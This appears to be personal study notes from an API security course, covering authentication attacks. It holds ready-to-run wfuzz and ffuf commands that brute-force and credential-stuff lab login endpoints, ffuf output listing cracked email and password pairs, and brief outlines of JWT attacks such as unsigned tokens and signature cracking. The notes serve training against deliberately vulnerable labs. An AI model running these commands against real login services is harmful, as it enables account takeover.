Authentication Attacks

Classic Attacks

Brute forcing/Password spraying with Intruder and wfuzz.

wfuzz -d '{"email":"hapihacker@email.com","password":"FUZZ"}' -H 'Content-Type: application/json' -z file,/usr/share/wordlists/rockyou -u http://127.0.0.1:8888/identity/api/auth/login -hc 500
$ wfuzz -d '{"email":"FUZZ","password":"FUZ2Z"}' -H 'Content-Type: application/json' -w emails -w passwords -u http://vapi.apisec.ai/vapi/api2/user/login --sc 200
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vapi.apisec.ai/vapi/api2/user/login
Total requests: 1000000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
# Assessment Q2
$ ffuf -mode pitchfork -u http://vapi.apisec.ai/vapi/api2/user/login -w emails:EMAIL,passwords:PASS -X POST -H 'Content-Type: application/json' -d '{"email":"EMAIL","password":"PASS"}' -c -fc 401

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://vapi.apisec.ai/vapi/api2/user/login
 :: Wordlist         : EMAIL: /home/x7331/Documents/apisec/emails
 :: Wordlist         : PASS: /home/x7331/Documents/apisec/passwords
 :: Header           : Content-Type: application/json
 :: Data             : {"email":"EMAIL","password":"PASS"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1430ms]
    * EMAIL: savanna48@ortiz.com
    * PASS: zTyBwV/9

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1311ms]
    * EMAIL: hauck.aletha@yahoo.com
    * PASS: kU-wDE7r

[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1283ms]
    * EMAIL: harber.leif@beatty.info
    * PASS: kU-wDE7r

:: Progress: [1000/1000] :: Job [1/1] :: 27 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

API Token Attacks

Token Analysis

Proxy request from Postman to Burp.

Send to Sequencer and specify token's value location.

Analyze.

If there is a short kind-of-predictable token pattern -> brute force with intruder.

JWTs

  • Base64 encoded.

  • Starts with ey.

  • Splitted in 3 sections: header, payload, signature (https://jwt.io/).

jwt_tool

Attacks

Generating token without signature

Cracking the signature

Last updated